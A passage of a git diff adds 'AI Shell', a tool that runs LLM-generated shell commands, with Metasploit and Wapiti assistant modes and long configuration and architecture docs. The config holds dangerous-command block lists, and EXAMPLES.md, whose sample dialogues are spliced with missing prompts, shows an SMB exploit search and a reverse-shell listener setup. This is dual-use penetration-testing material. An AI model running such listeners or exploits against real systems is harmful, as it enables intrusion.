to close.") + + llm_provider = get_llm_provider() + executor = get_executor() + + while True: + try: + user_prompt = input(f"\n{colors.PROMPT}>{colors.RESET} ") + if user_prompt.lower() in ["exit", "quit"]: + break + if not user_prompt: + continue + + print(format_info("Translating prompt...")) + command_to_run, _ = llm_provider.generate_response( + user_prompt, "translator" + ) + + if command_to_run: + executor.execute_command(command_to_run, user_prompt) + else: + print(format_warning("Could not generate command")) + + except (KeyboardInterrupt, EOFError): + print("\nExiting...") + break + + +def assistant_loop(): + """Main loop for the conversational AI assistant.""" + print("\n--- AI Assistant Mode ---") + print( + "Ask me anything, or describe a task. I can explain concepts or provide commands." + ) + print("Type 'exit' or 'quit' to close.") + + llm_provider = get_llm_provider() + executor = get_executor() + chat_session = None + + while True: + try: + user_prompt = input(f"\n{colors.PROMPT}You: {colors.RESET}") + if user_prompt.lower() in ["exit", "quit"]: + break + if not user_prompt: + continue + + print(format_info("Assistant is thinking...")) + assistant_response, chat_session = llm_provider.generate_response( + user_prompt, "assistant", ASSISTANT_SYSTEM_PROMPT, chat_session + ) + + if assistant_response: + print( + f"\n{colors.ASSISTANT}Assistant:{colors.RESET}\n{assistant_response}" + ) + + # Check for executable command + command_to_run = extract_command_from_response(assistant_response) + if command_to_run: + executor.execute_command(command_to_run, user_prompt) + else: + print(format_warning("Assistant did not provide a response")) + + except (KeyboardInterrupt, EOFError): + print("\nExiting...") + break + + +async def metasploit_loop(): + """Main loop for Metasploit assistant.""" + await pty_loop_base( + tool_name="metasploit", + tool_color=colors.METASPLOIT, + system_prompt=METASPLOIT_SYSTEM_PROMPT, + start_command=["msfconsole", "-q"], + ) + + +async def wapiti_loop(): + """Main loop for Wapiti assistant.""" + # Check if wapiti is available + try: + subprocess.run(["wapiti", "--version"], capture_output=True, check=True) + except (FileNotFoundError, subprocess.CalledProcessError): + print(format_error("'wapiti' not found or not working")) + print("Please ensure Wapiti is installed and in your PATH") + print("(e.g., 'sudo apt install wapiti' or 'pip install wapiti3')") + return + + await pty_loop_base( + tool_name="wapiti", + tool_color=colors.WAPITI, + system_prompt=WAPITI_SYSTEM_PROMPT, + start_command=["bash"], + ) + + +async def pty_loop_base( + tool_name: str, tool_color: str, system_prompt: str, start_command: list +): + """Generic base function for running a tool in a pseudoterminal with AI assistance.""" + print(f"\n--- {tool_name.capitalize()} Assistant Mode ---") + print(f"Starting a shell for {tool_name} tasks.") + print( + f"To ask the AI for commands, start your prompt with '{colors.PROMPT}?{colors.RESET}'" + ) + print(f"Example: {colors.PROMPT}? scan example.com for xss{colors.RESET}") + print(f"To exit, type '{colors.COMMAND}exit{colors.RESET}' at the shell prompt.") + + pid, master_fd = pty.fork() + + if pid == 0: # Child process + try: + os.execvp(start_command[0], start_command) + except FileNotFoundError: + print(format_error(f"'{start_command[0]}' not found")) + print("Please ensure it is installed and in your PATH") + os._exit(1) + else: # Parent process + loop = asyncio.get_event_loop() + llm_provider = get_llm_provider() + chat_session = None + + os.set_blocking(master_fd, False) + os.set_blocking(0, False) + + def handle_user_input(): + try: + user_data = os.read(0, 1024) + if user_data: + user_input = user_data.decode().strip() + if user_input.startswith("?"): + handle_ai_interaction(user_input[1:].strip()) + else: + os.write(master_fd, user_data) + except (BlockingIOError, InterruptedError): + pass + + def handle_tool_output(): + try: + tool_data = os.read(master_fd, 1024) + if tool_data: + print( + f"{tool_color}{tool_data.decode()}{colors.RESET}", + end="", + flush=True, + ) + else: + loop.stop() + except (BlockingIOError, InterruptedError): + pass + + def handle_ai_interaction(user_prompt): + nonlocal chat_session + print(format_info("\nAssistant is thinking...")) + + assistant_response, chat_session = llm_provider.generate_response( + user_prompt, tool_name, system_prompt, chat_session + ) + + if assistant_response: + print( + f"\n{colors.ASSISTANT}Assistant:{colors.RESET}\n{assistant_response}" + ) + command_to_run = extract_command_from_response(assistant_response) + if command_to_run: + print( + f"\nI am about to run this command in the shell: {colors.COMMAND}{command_to_run}{colors.RESET}" + ) + loop.remove_reader(0) + os.set_blocking(0, True) + try: + confirm = ( + input("Do you want to proceed? [y/n] ").lower().strip() + ) + if confirm == "y": + os.write(master_fd, (command_to_run + "\n").encode()) + else: + print("Execution cancelled.") + finally: + os.set_blocking(0, False) + loop.add_reader(0, handle_user_input) + else: + print(format_warning("\nThe assistant did not provide a response")) + + loop.add_reader(0, handle_user_input) + loop.add_reader(master_fd, handle_tool_output) + + try: + await asyncio.Event().wait() + finally: + loop.remove_reader(0) + loop.remove_reader(master_fd) + os.set_blocking(0, True) + print(f"\n{tool_name.capitalize()} session ended.") + + +def main(): + """ + Main entry point for the AI Shell application. + + Orchestrates the complete application workflow including: + 1. Command-line argument parsing and validation + 2. Logging setup and configuration loading + 3. LLM provider initialization + 4. Mode selection and execution + 5. Error handling and graceful shutdown + + The function handles different operating modes: + - translator: Direct command translation + - assistant: Conversational AI assistance + - metasploit: Security testing with msfconsole integration + - wapiti: Web application security scanning + + Returns: + int: Exit code (0 for success, non-zero for errors) + + Raises: + KeyboardInterrupt: User interrupted the application + SystemExit: Application terminated due to critical error + + Examples: + Run from command line: + $ ai-shell + $ ai-shell --mode translator --provider local + """ + args = parse_arguments() + + # Setup logging + setup_logging() + + # Load configuration + config = get_config() + + # Apply command line overrides + if args.api_key: + config.set("llm.gemini.api_key", args.api_key) + + if args.no_confirmation: + config.set("security.require_confirmation", False) + + if args.log_level: + config.set("logging.level", args.log_level) + + # Display banner + print_banner() + + # Determine mode + mode = args.mode + if not mode: + mode = interactive_mode_selection() + + # Determine provider + provider = args.provider or config.get("llm.provider") + if not provider: + provider = interactive_provider_selection() + + config.set("llm.provider", provider) + + # Setup provider + if provider == "gemini": + if not setup_gemini_provider(args.api_key): + sys.exit(1) + elif provider == "local": + if not setup_local_provider(): + sys.exit(1) + + # Display configuration + print("-" * 50) + print(f"Mode: {format_info(mode.capitalize())}") + print(f"Provider: {format_info(provider.capitalize())}") + if provider == "local": + print(f"Model: {format_info(config.get('llm.local.model'))}") + + # Run the selected mode + try: + if mode == "translator": + translator_loop() + elif mode == "assistant": + assistant_loop() + elif mode == "metasploit": + asyncio.run(metasploit_loop()) + elif mode == "wapiti": + asyncio.run(wapiti_loop()) + except (KeyboardInterrupt, EOFError): + print("\nExiting...") + + print("\nGoodbye!") + + +if __name__ == "__main__": + main() diff --git a/ai_shell/ui.py b/ai_shell/ui.py new file mode 100644 index 0000000..80aa974 --- /dev/null +++ b/ai_shell/ui.py @@ -0,0 +1,105 @@ +"""UI utilities and color management for AI Shell.""" + +try: + from colorama import init, Fore, Style + + init(autoreset=True) + COLORAMA_AVAILABLE = True +except ImportError: + COLORAMA_AVAILABLE = False + + +class Colors: + """ANSI color codes for terminal output.""" + + if COLORAMA_AVAILABLE: + RESET = Style.RESET_ALL + WARNING = Fore.YELLOW + Style.BRIGHT + INFO = Fore.BLUE + Style.BRIGHT + SUCCESS = Fore.GREEN + Style.BRIGHT + ERROR = Fore.RED + Style.BRIGHT + COMMAND = Fore.MAGENTA + Style.BRIGHT + PROMPT = Fore.CYAN + Style.BRIGHT + ASSISTANT = Fore.GREEN + Style.BRIGHT + METASPLOIT = Fore.RED + Style.BRIGHT + WAPITI = Fore.YELLOW + Style.BRIGHT + else: + # Fallback to basic ANSI codes + RESET = "\033[0m" + WARNING = "\033[1;33m" + INFO = "\033[1;34m" + SUCCESS = "\033[1;32m" + ERROR = "\033[1;31m" + COMMAND = "\033[1;35m" + PROMPT = "\033[1;36m" + ASSISTANT = "\033[1;32m" + METASPLOIT = "\033[1;31m" + WAPITI = "\033[1;38;5;208m" + + +colors = Colors() + + +def print_banner(): + """Print the application banner.""" + banner = f""" +{colors.SUCCESS}╔══════════════════════════════════════════════════════════════╗ +║ AI-Powered Shell Assistant ║ +║ Your Command-Line Copilot v0.1.0 ║ +╚══════════════════════════════════════════════════════════════╝{colors.RESET} +""" + print(banner) + + +def print_mode_selection(): + """Print mode selection menu.""" + print("Choose an operating mode:") + print(f"{colors.INFO}1. Command Translator{colors.RESET} (Prompt → Command)") + print(f"{colors.INFO}2. AI Assistant{colors.RESET} (Conversational shell help)") + print( + f"{colors.INFO}3. Metasploit Assistant{colors.RESET} (AI-driven penetration testing)" + ) + print( + f"{colors.INFO}4. Wapiti Assistant{colors.RESET} (AI-driven web app scanning)" + ) + + +def print_provider_selection(): + """Print LLM provider selection menu.""" + print("\nChoose an LLM provider:") + print(f"{colors.INFO}1. Gemini{colors.RESET} (Google's cloud API)") + print(f"{colors.INFO}2. Local LLM{colors.RESET} (Ollama)") + + +def print_local_model_selection(models): + """Print local model selection menu.""" + print("\nPlease choose a local LLM to run:") + for key, info in models.items(): + print( + f"{colors.INFO}{key}. {info['name']}{colors.RESET} (~{info['size_gb']} GB RAM)" + ) + + +def format_command_output(text: str) -> str: + """Format command output with appropriate colors.""" + return f"{colors.COMMAND}{text}{colors.RESET}" + + +def format_error(text: str) -> str: + """Format error message with appropriate colors.""" + return f"{colors.ERROR}Error: {text}{colors.RESET}" + + +def format_warning(text: str) -> str: + """Format warning message with appropriate colors.""" + return f"{colors.WARNING}Warning: {text}{colors.RESET}" + + +def format_info(text: str) -> str: + """Format info message with appropriate colors.""" + return f"{colors.INFO}{text}{colors.RESET}" + + +def format_success(text: str) -> str: + """Format success message with appropriate colors.""" + return f"{colors.SUCCESS}{text}{colors.RESET}" diff --git a/config.yaml.example b/config.yaml.example new file mode 100644 index 0000000..0951d8e --- /dev/null +++ b/config.yaml.example @@ -0,0 +1,42 @@ +# AI Shell Configuration + +# LLM Provider Settings +llm: + provider: gemini # Options: 'gemini' or 'local' + + # Google Gemini settings + gemini: + api_key: "" # Set your Gemini API key here or use GEMINI_API_KEY environment variable + model: gemini-1.5-flash + + # Local LLM (Ollama) settings + local: + host: localhost + port: 11434 + model: llama3 # Available models: llama3, codellama, mistral, etc. + +# Logging configuration +logging: + level: INFO # Options: DEBUG, INFO, WARNING, ERROR + file: ai_shell.log + format: '%(asctime)s - %(name)s - %(levelname)s - %(message)s' + +# Training data collection +training: + dataset_file: training_dataset.jsonl + auto_log: true # Automatically log training pairs for model improvement + +# Security settings +security: + require_confirmation: true # Require user confirmation before executing commands + dangerous_commands: + - rm -rf + - format + - dd if= + - mkfs + - fdisk + - parted + - wipefs + - shred + - chmod 777 + - chown -R root \ No newline at end of file diff --git a/docs/ARCHITECTURE.md b/docs/ARCHITECTURE.md new file mode 100644 index 0000000..5c435ed --- /dev/null +++ b/docs/ARCHITECTURE.md @@ -0,0 +1,374 @@ +# Architecture Overview + +This document provides a comprehensive overview of AI Shell's architecture, design patterns, and component interactions. + +## 🏗️ High-Level Architecture + +``` +┌─────────────────────────────────────────────────────┐ +│ User Interface │ +│ (ui.py) │ +└─────────────────────┬───────────────────────────────┘ + │ +┌─────────────────────▼───────────────────────────────┐ +│ Main Application │ +│ (main.py) │ +│ ┌─────────────┬─────────────┬─────────────────────┐│ +│ │ Mode │ Provider │ Security ││ +│ │ Selection │ Management │ Validation ││ +│ └─────────────┴─────────────┴─────────────────────┘│ +└─────────────────────┬───────────────────────────────┘ + │ + ┌─────────────┼─────────────┐ + │ │ │ + ▼ ▼ ▼ +┌─────────────┐ ┌──────────────┐ ┌──────────────┐ +│Configuration│ │ LLM Provider │ │ Command │ +│ Management │ │ (llm.py) │ │ Executor │ +│ (config.py) │ │ │ │ (executor.py)│ +└─────────────┘ └──────────────┘ └──────────────┘ + │ │ │ + └─────────────┼─────────────┘ + │ + ┌─────────────▼─────────────┐ + │ External Services │ + │ │ + │ ┌─────────┐ ┌───────────┐ │ + │ │ Gemini │ │ Ollama │ │ + │ │ API │ │ Local LLM │ │ + │ └─────────┘ └───────────┘ │ + │ │ + │ ┌─────────┐ ┌───────────┐ │ + │ │MSFConsole│ │ System │ │ + │ │ PTY │ │ Commands │ │ + │ └─────────┘ └───────────┘ │ + └──────────────────────────┘ +``` + +## 🧩 Core Components + +### 1. Main Application (`main.py`) + +**Responsibilities:** +- Application entry point and CLI argument parsing +- Mode selection and workflow orchestration +- Provider initialization and management +- Interactive terminal handling with PTY support + +**Key Functions:** +- `main()`: Primary application entry point +- `setup_logging()`: Logging configuration +- `parse_arguments()`: CLI argument handling +- `interactive_pty_session()`: PTY-based tool integration + +**Design Patterns:** +- Command Pattern: Mode selection and execution +- Factory Pattern: Provider instantiation +- Observer Pattern: Real-time output streaming + +### 2. Configuration Management (`config.py`) + +**Responsibilities:** +- YAML-based configuration loading and validation +- Environment variable integration +- Default value management +- Dynamic configuration updates + +**Key Classes:** +```python +class Config: + def __init__(self, config_data=None, config_file=None) + def get(self, key, default=None) + def set(self, key, value) + def save(self, filename) +``` + +**Configuration Structure:** +```yaml +llm: + provider: gemini|local + gemini: + api_key: string + model: string + local: + host: string + port: integer + model: string + +security: + require_confirmation: boolean + dangerous_commands: list + +logging: + level: DEBUG|INFO|WARNING|ERROR + file: string + format: string + +training: + dataset_file: string + auto_log: boolean +``` + +### 3. LLM Provider System (`llm.py`) + +**Architecture:** +```python +# Base Provider Interface +class LLMProvider(ABC): + @abstractmethod + async def generate_response(self, prompt: str, system_prompt: str = "") -> str + + @abstractmethod + def is_available(self) -> bool + +# Concrete Implementations +class GeminiProvider(LLMProvider) +class LocalLLMProvider(LLMProvider) +``` + +**Provider Selection Logic:** +```python +def get_llm_provider(provider_name: str, config: Config) -> LLMProvider: + providers = { + 'gemini': GeminiProvider, + 'local': LocalLLMProvider + } + return providers[provider_name](config) +``` + +**System Prompts:** +- `TRANSLATOR_SYSTEM_PROMPT`: Command translation mode +- `ASSISTANT_SYSTEM_PROMPT`: Conversational assistance mode +- `METASPLOIT_SYSTEM_PROMPT`: Security testing mode +- `WAPITI_SYSTEM_PROMPT`: Web application scanning mode + +### 4. Command Execution (`executor.py`) + +**Security Architecture:** +```python +class CommandExecutor: + def __init__(self, config: Config) + + def validate_command(self, command: str) -> ValidationResult + def execute_command(self, command: str, confirm: bool = True) -> ExecutionResult + def is_dangerous_command(self, command: str) -> bool +``` + +**Security Layers:** +1. **Input Validation**: Command syntax and structure validation +2. **Dangerous Command Detection**: Pattern matching against known dangerous commands +3. **User Confirmation**: Interactive approval for command execution +4. **Output Sanitization**: Safe handling of command output + +**Execution Modes:** +- **Interactive**: Real-time output streaming with PTY +- **Batch**: Standard subprocess execution +- **Dry Run**: Validation without execution + +### 5. User Interface (`ui.py`) + +**Component Categories:** +```python +# Color and Formatting +colors = { + 'primary': '\033[96m', # Cyan + 'secondary': '\033[95m', # Magenta + 'success': '\033[92m', # Green + 'warning': '\033[93m', # Yellow + 'error': '\033[91m', # Red + 'info': '\033[94m', # Blue + 'reset': '\033[0m' # Reset +} + +# UI Components +def print_banner() +def print_mode_selection() +def print_provider_selection() +def format_command_output(output: str) -> str +``` + +**Responsive Design:** +- Terminal width detection +- Dynamic content wrapping +- Cross-platform color support + +## 🔄 Data Flow + +### Command Translation Flow + +```mermaid +graph TD + A[User Input] --> B[Input Validation] + B --> C[LLM Provider Selection] + C --> D[Generate Response] + D --> E[Extract Command] + E --> F[Security Validation] + F --> G{User Confirmation} + G -->|Yes| H[Execute Command] + G -->|No| I[Return to Input] + H --> J[Stream Output] + J --> K[Log Training Data] +``` + +### Configuration Loading Flow + +```mermaid +graph TD + A[Application Start] --> B{Config File Exists?} + B -->|Yes| C[Load YAML Config] + B -->|No| D[Use Default Config] + C --> E[Environment Variable Override] + D --> E + E --> F[Validate Configuration] + F --> G[Initialize Components] +``` + +### PTY Session Flow + +```mermaid +graph TD + A[Start PTY Session] --> B[Fork Process] + B --> C[Setup Master/Slave PTY] + C --> D[Launch Target Application] + D --> E[Real-time I/O Handling] + E --> F{User Input or Tool Output?} + F -->|User Input| G[Process with LLM if needed] + F -->|Tool Output| H[Display to User] + G --> I[Send to Tool] + H --> E + I --> E +``` + +## 🔒 Security Architecture + +### Defense in Depth + +1. **Input Layer** + - Command injection prevention + - Input sanitization + - Length and format validation + +2. **Validation Layer** + - Dangerous command detection + - Pattern matching + - Whitelist/blacklist enforcement + +3. **Execution Layer** + - User confirmation requirements + - Process isolation + - Resource limiting + +4. **Output Layer** + - Output sanitization + - Sensitive data filtering + - Logging and auditing + +### Threat Model + +**Threats Addressed:** +- Command injection attacks +- Malicious LLM responses +- Privilege escalation +- Data exfiltration +- Denial of service + +**Mitigations:** +- Input validation and sanitization +- Command whitelisting/blacklisting +- User confirmation workflows +- Process sandboxing +- Resource monitoring + +## 🧪 Testing Architecture + +### Test Categories + +1. **Unit Tests** + - Individual component testing + - Mock external dependencies + - Edge case validation + +2. **Integration Tests** + - Component interaction testing + - Configuration validation + - Provider integration + +3. **Security Tests** + - Command injection prevention + - Dangerous command detection + - Input validation + +4. **End-to-End Tests** + - Full workflow testing + - User interaction simulation + - Real provider integration + +### Test Structure + +``` +tests/ +├── unit/ +│ ├── test_config.py +│ ├── test_llm.py +│ ├── test_executor.py +│ └── test_ui.py +├── integration/ +│ ├── test_provider_integration.py +│ └── test_workflow_integration.py +├── security/ +│ ├── test_command_validation.py +│ └── test_injection_prevention.py +└── e2e/ + └── test_full_workflow.py +``` + +## 📊 Performance Considerations + +### Optimization Strategies + +1. **Async Operations** + - Non-blocking LLM API calls + - Concurrent request processing + - Real-time response streaming + +2. **Caching** + - Configuration caching + - Provider initialization caching + - Response pattern caching + +3. **Resource Management** + - Connection pooling for API calls + - Memory-efficient output streaming + - Process lifecycle management + +### Scalability + +- **Horizontal Scaling**: Multiple provider instances +- **Vertical Scaling**: Resource optimization +- **Load Balancing**: Provider selection strategies + +## 🔮 Future Architecture + +### Planned Enhancements + +1. **Plugin System** + - Modular tool integration + - Third-party provider support + - Custom command handlers + +2. **Distributed Architecture** + - Remote LLM provider support + - Distributed configuration management + - Multi-user support + +3. **Advanced Security** + - Role-based access control + - Audit logging + - Compliance frameworks + +4. **Machine Learning** + - Local model fine-tuning + - Usage pattern analysis + - Predictive command suggestions + +This architecture enables AI Shell to be maintainable, extensible, and secure while providing a rich user experience for command-line operations. \ No newline at end of file diff --git a/docs/CONFIGURATION.md b/docs/CONFIGURATION.md new file mode 100644 index 0000000..1879d10 --- /dev/null +++ b/docs/CONFIGURATION.md @@ -0,0 +1,608 @@ +# Configuration Guide + +This guide provides comprehensive information about configuring AI Shell for optimal performance and security. + +## 📋 Configuration Overview + +AI Shell uses a YAML-based configuration system with support for environment variables and default fallbacks. The configuration controls LLM providers, security settings, logging, and training data collection. + +### Configuration Hierarchy + +1. **Command-line arguments** (highest priority) +2. **Environment variables** +3. **Configuration file** (`config.yaml`) +4. **Default values** (lowest priority) + +## 🔧 Basic Configuration + +### Creating Your First Config + +```bash +# Copy the example configuration +cp config.yaml.example config.yaml + +# Edit with your preferred editor +nano config.yaml +``` + +### Minimal Configuration + +```yaml +# Minimal config for Gemini API +llm: + provider: gemini + gemini: + api_key: "your_gemini_api_key_here" +``` + +```yaml +# Minimal config for local LLM +llm: + provider: local + local: + model: llama3 +``` + +## 🧠 LLM Provider Configuration + +### Google Gemini + +```yaml +llm: + provider: gemini + gemini: + api_key: "" # Your API key or use GEMINI_API_KEY env var + model: gemini-1.5-flash # Options: gemini-1.5-flash, gemini-1.5-pro + temperature: 0.1 # Controls randomness (0.0-2.0) + max_tokens: 2048 # Maximum response length + timeout: 30 # Request timeout in seconds +``` + +**Environment Variables:** +```bash +export GEMINI_API_KEY="your_key_here" +export GEMINI_MODEL="gemini-1.5-flash" +``` + +**Available Models:** +- `gemini-1.5-flash`: Fast, cost-effective for most tasks +- `gemini-1.5-pro`: More capable, higher cost +- `gemini-1.0-pro`: Legacy model + +### Local LLM (Ollama) + +```yaml +llm: + provider: local + local: + host: localhost + port: 11434 + model: llama3 # Must be installed via 'ollama pull' + temperature: 0.1 + max_tokens: 2048 + timeout: 60 # Local models may need more time + context_window: 4096 # Model context size +``` + +**Advanced Local Configuration:** +```yaml +llm: + provider: local + local: + host: localhost + port: 11434 + models: + default: llama3:8b + code: codellama:13b + security: llama3:70b + model_selection: auto # or 'manual' + gpu_layers: -1 # Use all GPU layers + num_thread: 8 # CPU threads to use +``` + +**Supported Local Models:** +- `llama3:8b` - General purpose, good balance +- `llama3:70b` - Most capable, requires more resources +- `codellama:13b` - Optimized for code generation +- `mistral:7b` - Fast and efficient +- `mixtral:8x7b` - Mixture of experts model + +## 🔒 Security Configuration + +### Basic Security Settings + +```yaml +security: + require_confirmation: true # Always ask before executing commands + dangerous_commands: + - rm -rf + - format + - dd if= + - mkfs + - fdisk + - wipefs + - shred + - chmod 777 + - chown -R root + + # Commands that bypass confirmation + safe_commands: + - ls + - cat + - echo + - pwd + - whoami + - date +``` + +### Advanced Security Configuration + +```yaml +security: + require_confirmation: true + + # Command validation rules + validation: + max_command_length: 1000 + allow_pipes: true + allow_redirects: true + block_privilege_escalation: true + + # Path restrictions + restricted_paths: + - /etc/passwd + - /etc/shadow + - /boot + - /sys + - /proc/*/mem + + # User restrictions + allowed_users: + - myuser + - developer + + # Environment restrictions + blocked_env_vars: + - LD_PRELOAD + - DYLD_INSERT_LIBRARIES + + # Audit settings + audit_log: true + audit_file: /var/log/ai_shell_audit.log +``` + +### Security Profiles + +**Development Profile:** +```yaml +security: + require_confirmation: false + dangerous_commands: [] # Allow everything for development + audit_log: true +``` + +**Production Profile:** +```yaml +security: + require_confirmation: true + dangerous_commands: + - rm -rf + - sudo + - chmod + - chown + - mount + - umount + strict_mode: true + audit_log: true +``` + +**High-Security Profile:** +```yaml +security: + require_confirmation: true + dangerous_commands: + - rm + - mv + - cp + - chmod + - chown + - sudo + - su + whitelist_mode: true # Only allow explicitly safe commands + safe_commands: + - ls + - cat + - grep + - find + - head + - tail +``` + +## 📊 Logging Configuration + +### Basic Logging + +```yaml +logging: + level: INFO # DEBUG, INFO, WARNING, ERROR, CRITICAL + file: ai_shell.log + format: '%(asctime)s - %(name)s - %(levelname)s - %(message)s' +``` + +### Advanced Logging + +```yaml +logging: + level: INFO + + # Multiple log handlers + handlers: + file: + filename: ai_shell.log + max_bytes: 10485760 # 10MB + backup_count: 5 + format: '%(asctime)s - %(name)s - %(levelname)s - %(message)s' + + console: + level: WARNING + format: '%(levelname)s: %(message)s' + + syslog: + address: localhost:514 + facility: user + format: 'ai_shell[%(process)d]: %(message)s' + + # Component-specific logging + loggers: + ai_shell.llm: DEBUG + ai_shell.executor: INFO + ai_shell.security: WARNING +``` + +### Log Rotation + +```yaml +logging: + file: ai_shell.log + rotation: + max_size: 50MB + backup_count: 10 + compress: true + when: midnight # Daily rotation +``` + +## 📈 Training Configuration + +### Basic Training Settings + +```yaml +training: + dataset_file: training_dataset.jsonl + auto_log: true # Automatically log successful commands + include_corrections: true # Log user corrections +``` + +### Advanced Training Configuration + +```yaml +training: + dataset_file: training_dataset.jsonl + auto_log: true + + # Data collection settings + collection: + include_system_info: false # Don't log system details + anonymize_paths: true # Replace /home/user with /home/[USER] + include_timestamps: true + include_execution_time: true + + # Quality filters + filters: + min_command_length: 3 + max_command_length: 200 + exclude_failed_commands: true + exclude_dangerous_commands: true + + # Export settings + export: + format: jsonl # or 'csv', 'json' + batch_size: 1000 + compression: gzip +``` + +## 🌍 Environment Variables + +### Core Environment Variables + +```bash +# LLM Configuration +export GEMINI_API_KEY="your_key_here" +export AI_SHELL_CONFIG="/path/to/config.yaml" +export AI_SHELL_PROVIDER="local" # or "gemini" + +# Security +export AI_SHELL_CONFIRM="true" # Require confirmation +export AI_SHELL_SAFE_MODE="true" # Extra security checks + +# Logging +export AI_SHELL_LOG_LEVEL="DEBUG" +export AI_SHELL_LOG_FILE="/var/log/ai_shell.log" + +# Training +export AI_SHELL_TRAINING_FILE="/path/to/training.jsonl" +export AI_SHELL_AUTO_LOG="true" +``` + +### Provider-Specific Variables + +**Gemini:** +```bash +export GEMINI_API_KEY="your_key" +export GEMINI_MODEL="gemini-1.5-flash" +export GEMINI_TEMPERATURE="0.1" +export GEMINI_TIMEOUT="30" +``` + +**Ollama:** +```bash +export OLLAMA_HOST="localhost" +export OLLAMA_PORT="11434" +export OLLAMA_MODEL="llama3" +export OLLAMA_GPU_LAYERS="-1" +export OLLAMA_NUM_THREAD="8" +``` + +## 🔧 Advanced Configuration + +### Multiple Profiles + +Create different configurations for different contexts: + +**Profile Structure:** +``` +~/.ai_shell/ +├── config/ +│ ├── development.yaml +│ ├── production.yaml +│ ├── security_testing.yaml +│ └── default.yaml +└── profiles/ + ├── work.yaml + └── personal.yaml +``` + +**Using Profiles:** +```bash +ai-shell --config ~/.ai_shell/config/development.yaml +ai-shell --profile work +``` + +### Dynamic Configuration + +```yaml +# config.yaml with dynamic elements +llm: + provider: !ENV ${AI_SHELL_PROVIDER:gemini} # Default to gemini + gemini: + api_key: !ENV ${GEMINI_API_KEY} + model: !ENV ${GEMINI_MODEL:gemini-1.5-flash} + +security: + require_confirmation: !ENV ${AI_SHELL_CONFIRM:true} + dangerous_commands: !INCLUDE dangerous_commands.yaml + +logging: + level: !ENV ${LOG_LEVEL:INFO} + file: !ENV ${LOG_FILE:ai_shell.log} +``` + +### Configuration Validation + +AI Shell validates your configuration on startup: + +```bash +# Test configuration +ai-shell --config config.yaml --validate-config + +# Show effective configuration +ai-shell --show-config +``` + +**Common Validation Errors:** +- Missing required API keys +- Invalid model names +- Malformed YAML syntax +- Conflicting security settings + +## 🎨 UI Configuration + +### Terminal Appearance + +```yaml +ui: + colors: + primary: cyan + secondary: magenta + success: green + warning: yellow + error: red + info: blue + + formatting: + banner: true + timestamps: true + command_highlighting: true + progress_bars: true + + terminal: + width: auto # or specific number + pager: less + editor: nano # or vim, emacs, code +``` + +### Output Formatting + +```yaml +ui: + output: + stream_commands: true # Show output in real-time + buffer_size: 4096 + max_lines: 1000 + truncate_long_output: true + + prompts: + show_mode: true + show_provider: true + custom_prompt: "AI> " + + notifications: + sound: false + desktop: true # Desktop notifications +``` + +## 🔍 Debugging Configuration + +### Debug Mode + +```yaml +debug: + enabled: true + verbose: true + save_requests: true + save_responses: true + request_file: debug_requests.json + response_file: debug_responses.json + + # Performance monitoring + profile: true + timing: true + memory_usage: true +``` + +### Troubleshooting Configuration + +```bash +# Enable maximum debugging +export AI_SHELL_DEBUG=1 +export AI_SHELL_VERBOSE=1 +ai-shell --log-level DEBUG + +# Test specific components +ai-shell --test-llm +ai-shell --test-config +ai-shell --test-security +``` + +## 📝 Configuration Templates + +### Basic User Template + +```yaml +# ~/.ai_shell/config.yaml +llm: + provider: gemini + gemini: + api_key: !ENV ${GEMINI_API_KEY} + +security: + require_confirmation: true + +logging: + level: INFO + file: ~/.ai_shell/ai_shell.log +``` + +### Power User Template + +```yaml +llm: + provider: local + local: + host: localhost + port: 11434 + model: llama3:70b + +security: + require_confirmation: false + dangerous_commands: + - rm -rf / + - format + +logging: + level: DEBUG + handlers: + file: + filename: ~/.ai_shell/debug.log + console: + level: WARNING + +training: + auto_log: true + dataset_file: ~/.ai_shell/training.jsonl +``` + +### Enterprise Template + +```yaml +llm: + provider: local # Keep data on-premises + local: + host: llm-server.company.com + port: 11434 + model: llama3:70b + +security: + require_confirmation: true + audit_log: true + audit_file: /var/log/ai_shell_audit.log + + dangerous_commands: + - rm + - mv + - chmod + - chown + - sudo + - mount + - systemctl + +logging: + level: INFO + handlers: + syslog: + address: syslog.company.com:514 + facility: user + +training: + auto_log: false # Manual approval only +``` + +## 🚀 Best Practices + +### Security Best Practices + +1. **Never commit API keys to version control** +2. **Use environment variables for sensitive data** +3. **Regularly rotate API keys** +4. **Enable audit logging in production** +5. **Use least-privilege security profiles** + +### Performance Best Practices + +1. **Use appropriate models for the task** +2. **Configure reasonable timeouts** +3. **Enable local caching when possible** +4. **Monitor resource usage** +5. **Use log rotation to prevent disk issues** + +### Maintenance Best Practices + +1. **Regularly review and update configurations** +2. **Test configuration changes in development first** +3. **Monitor log files for errors** +4. **Keep backup configurations** +5. **Document custom configurations** + +For more detailed information, see: +- [Architecture Documentation](ARCHITECTURE.md) +- [Examples and Tutorials](EXAMPLES.md) +- [Troubleshooting Guide](TROUBLESHOOTING.md) \ No newline at end of file diff --git a/docs/EXAMPLES.md b/docs/EXAMPLES.md new file mode 100644 index 0000000..f1a0278 --- /dev/null +++ b/docs/EXAMPLES.md @@ -0,0 +1,418 @@ +# Examples and Tutorials + +This guide provides practical examples and step-by-step tutorials for using AI Shell effectively. + +## 🚀 Quick Start Examples + +### Basic Command Translation + +Transform natural language into shell commands: + +```bash +# Start AI Shell in translator mode +ai-shell --mode translator + +# Example interactions: +> find all Python files in my current directory +→ find . -name "*.py" -type f + +> show me the largest files in my home directory +→ find ~ -type f -exec ls -lah {} + | sort -k5 -hr | head -10 + +> compress all log files older than 7 days +→ find /var/log -name "*.log" -mtime +7 -exec gzip {} \; + +> show running processes sorted by memory usage +→ ps aux --sort=-%mem | head -20 +``` +Assistant: I'll help you set up a Python virtual environment. Here's a step-by-step process: + +1. **Create the virtual environment:** + ```bash + python -m venv myproject_env + ``` + +2. **Activate the environment:** + ```bash + source myproject_env/bin/activate # On Windows: myproject_env\Scripts\activate + ``` + +3. **Verify activation:** + ```bash + which python # Should show the venv path + ``` + +4. **Install packages:** + ```bash + pip install requests flask # Example packages + ``` + +5. **Create requirements file:** +Assistant: Simply run the `deactivate` command: + +```bash +deactivate +``` + +This will return you to your system's default Python environment. The environment will remain intact and you can reactivate it anytime with the activation command. +``` + +### Metasploit Assistant + +Security testing with AI guidance: + +```bash +# Start Metasploit mode +Assistant: I can help you find SMB vulnerabilities. Try this search command: + +```bash +search type:exploit platform:windows service:smb +``` + +Assistant: To set up a listener for a reverse shell, use the multi/handler module: + +```bash +use exploit/multi/handler +set PAYLOAD windows/meterpreter/reverse_tcp +set LHOST your_ip_address +set LPORT 4444 +run +``` + +This creates a listener on port 4444 that will catch reverse connections. 